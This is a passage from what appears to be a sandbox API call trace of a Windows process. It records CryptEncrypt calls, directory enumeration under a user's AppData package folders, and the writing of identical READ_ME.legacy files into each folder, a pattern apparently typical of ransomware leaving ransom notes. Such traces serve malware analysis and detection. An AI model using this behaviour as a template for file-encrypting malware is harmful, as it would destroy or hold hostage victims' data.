nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.504] SetFilePointer (in: hFile=0x11e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.504] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.504] WriteFile (in: hFile=0x11e0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.505] WriteFile (in: hFile=0x11e0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.506] CloseHandle (hObject=0x11e0) returned 1 [0161.507] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61f18 [0161.507] FindNextFileW (in: hFindFile=0x2f61f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.507] FindNextFileW (in: hFindFile=0x2f61f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.508] FindNextFileW (in: hFindFile=0x2f61f18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.508] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61f58 [0161.508] FindNextFileW (in: hFindFile=0x2f61f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.508] FindNextFileW (in: hFindFile=0x2f61f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.508] FindNextFileW (in: hFindFile=0x2f61f58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.508] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x37a7aa93, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61dd8 [0161.508] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x37a7aa93, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.508] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd1282232, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.508] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ec [0161.510] WriteFile (in: hFile=0x11ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.511] CloseHandle (hObject=0x11ec) returned 1 [0161.511] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12829ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.511] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ec [0161.512] WriteFile (in: hFile=0x11ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.513] CloseHandle (hObject=0x11ec) returned 1 [0161.513] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12830e2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.513] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11ec [0161.514] WriteFile (in: hFile=0x11ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.515] CloseHandle (hObject=0x11ec) returned 1 [0161.515] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc0ef72fe, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c7936, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc0ef72fe, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0161.515] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.515] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c905b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.515] FindNextFileW (in: hFindFile=0x2f61dd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a703502, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c905b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8a703502, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.515] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a6b7054, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c98f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61f98 [0161.515] FindNextFileW (in: hFindFile=0x2f61f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a6b7054, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12c98f9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.516] FindNextFileW (in: hFindFile=0x2f61f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.516] FindNextFileW (in: hFindFile=0x2f61f98, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.516] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a690dfe, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12ca0e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61a18 [0161.516] FindNextFileW (in: hFindFile=0x2f61a18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a690dfe, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12ca0e8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.516] FindNextFileW (in: hFindFile=0x2f61a18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.516] FindNextFileW (in: hFindFile=0x2f61a18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.516] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12ca805, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61ad8 [0161.516] FindNextFileW (in: hFindFile=0x2f61ad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12ca805, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.516] FindNextFileW (in: hFindFile=0x2f61ad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.516] FindNextFileW (in: hFindFile=0x2f61ad8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.516] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12cb203, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61cd8 [0161.517] FindNextFileW (in: hFindFile=0x2f61cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd12cb203, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61cd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.517] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a690dfe, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61e18 [0161.517] FindNextFileW (in: hFindFile=0x2f61e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a690dfe, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6dd2b9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x8a6dd2b9, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x8a6dd2b9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, 